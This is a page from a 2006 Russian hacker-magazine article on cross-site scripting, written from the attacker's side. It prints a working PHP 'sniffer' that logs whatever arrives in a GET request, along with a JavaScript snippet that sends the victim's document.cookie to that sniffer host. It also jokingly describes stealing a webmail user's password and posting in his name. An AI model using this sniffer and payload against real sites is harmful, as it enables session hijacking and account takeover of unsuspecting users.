Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #92, АВГУСТ 2006 г.

SS возвращается

Zadoxlik (antichat.ru)

Хакер, номер #092, стр. 092-062-2


А в чем, собственно, прелесть? А прелесть в том, что средствами JavaScript или VBScript мы можем получить куки пользователя для данного домена, на сайте которого находится документ. В JavaScript куки хранятся в document.cookie. Все что нам надо, так это сформировать запрос пользователя к нашему сниферу, в котором бы мы отправили свои куки. Снифер в терминологии XSS - это наш скрипт, который ловит все добро, которое передается ему в GET-запросе. Вот простейший пример снифера на PHP, его ты уже знаешь наизусть, но мы отважимся привести его еще раз, так сказать, для отчетности:

КОД

<?

if(strlen($QUERY_STRING)<2)exit;

header("Content-Type: image/png");

$im=ImageCreate(1, 1);

ImagePNG($im);

imagedestroy($im);

$fp=fopen("sniff.txt", "a");

fputs($fp,$QUERY_STRING."\n\n");

fclose($fp);

?>

А вот простенький пример того, как можно отправить куки на этот снифер. Предполагается, что на странице есть картинка. Если нет - нужно будет объявить:

КОД

<script language=JavaScript>

document.images[0].src="http://sniff/sniff?"+document.cookie

</script>

Теперь перейдем к плохим делам.

XSS бывают разные

XSS можно разделить на подклассы. Я бы выделил следующую структуру:

1)Активные. Активные XXS'ски - самые опасные из возможных XSS. Например, решил Василий Пупкин проверить свою почту на мэйл.ру через веб-интерфейс, и, вроде бы, все хорошо у него прошло. Увидел он письмо от своей любимой девушки, а в это время наш снифер принимает пароль негодующего Василия. И тогда, облачившись во все черное, под покровом ночи, начинаешь ты писать всякие непристойные вещи... впрочем, не будем об этом. Короче говоря, активные XSS - это XSS там, где ты их меньше всего ожидаешь, точнее в твоем пользовательском интерфейсе. Там, куда ты заходил каждый раз, ничего не опасаясь, чтобы почитать посты на форуме или почту на своем e-mail, а тут... какая подлость - чужой код. И ничего с ним не поделаешь. Нет, конечно, можно отключить выполнение скриптов на странице в своем браузере, но кто, кроме нас, с тобой так делает? Явно не Василий Васильевич.

Назад на стр. 092-062-1  Содержание  Вперед на стр. 092-062-3